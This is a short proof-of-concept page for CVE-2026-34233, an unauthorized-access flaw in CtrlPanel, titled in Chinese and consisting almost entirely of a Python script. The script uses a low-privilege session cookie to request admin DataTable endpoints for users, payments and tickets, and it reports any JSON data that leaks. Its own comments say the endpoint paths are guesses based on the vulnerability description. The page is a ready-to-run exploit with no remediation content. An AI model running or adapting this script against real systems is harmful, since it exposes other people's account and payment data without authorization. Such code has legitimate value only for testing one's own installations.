CVE-2026-34233 CtrlPanel越权访问漏洞

import requests # CVE-2026-34233 PoC: Unauthorized Access to Admin DataTables # Replace TARGET_URL with the actual URL # Requires a valid authenticated session cookie (low-privilege user) TARGET_URL = "http://target-panel.com" SESSION_COOKIE = "ctrlpanel_session=low_priv_user_cookie_token" headers = { "Cookie": SESSION_COOKIE, "User-Agent": "CVE-2026-34233-PoC" } # Example vulnerable endpoints based on the description endpoints = [ "/admin/api/users/datatable", "/admin/api/payments/datatable", "/admin/api/tickets/datatable" ] print(f"[*] Checking {TARGET_URL} for CVE-2026-34233...") for endpoint in endpoints: url = TARGET_URL + endpoint try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: # Check if response looks like JSON data (DataTable response) try: data = response.json() print(f"[+] Potential sensitive data leaked from {endpoint}:") print(f" Data keys: {data.keys()}") except ValueError: print(f"[-] Received non-JSON response from {endpoint}") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except Exception as e: print(f"[!] Error connecting to {endpoint}: {e}")